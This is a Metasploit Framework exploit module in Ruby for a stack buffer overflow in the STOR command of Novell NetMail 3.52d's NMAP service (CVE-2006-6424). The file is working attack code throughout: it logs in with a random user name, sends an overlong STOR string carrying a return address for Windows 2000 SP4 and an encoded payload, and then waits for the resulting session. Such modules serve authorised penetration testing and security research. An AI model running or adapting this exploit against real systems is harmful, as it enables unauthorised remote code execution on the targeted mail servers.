76 lines
2.0 KiB
Ruby
76 lines
2.0 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = AverageRanking
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include Msf::Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Novell NetMail <= 3.52d NMAP STOR Buffer Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in Novell's Netmail 3.52 NMAP STOR
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verb. By sending an overly long string, an attacker can overwrite the
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buffer and control program execution.
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},
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'Author' => [ 'MC' ],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2006-6424' ],
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[ 'OSVDB', '31363' ],
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[ 'BID', '21725' ],
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],
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'Privileged' => true,
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread',
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},
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'Payload' =>
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{
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'Space' => 500,
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'BadChars' => "\x00\x0a\x0d\x20",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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['Windows 2000 Pro SP4 English', { 'Ret' => 0x7cdc97fb }],
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Dec 23 2006'))
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register_options([Opt::RPORT(689)], self.class)
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end
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def exploit
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connect
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sock.get_once
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auth = "USER " + rand_text_english(10)
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sock.put(auth + "\r\n")
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res = sock.get_once
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sploit = "STOR " + rand_text_english(253) + [ target.ret ].pack('V')
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sploit << " " + rand_text_english(20) + "\r\n" + payload.encoded
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if (res =~ /1000/)
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print_status("Trying target #{target.name}...")
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sock.put(sploit)
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else
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print_status("Not in Trusted Hosts.")
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end
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handler
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disconnect
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end
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end
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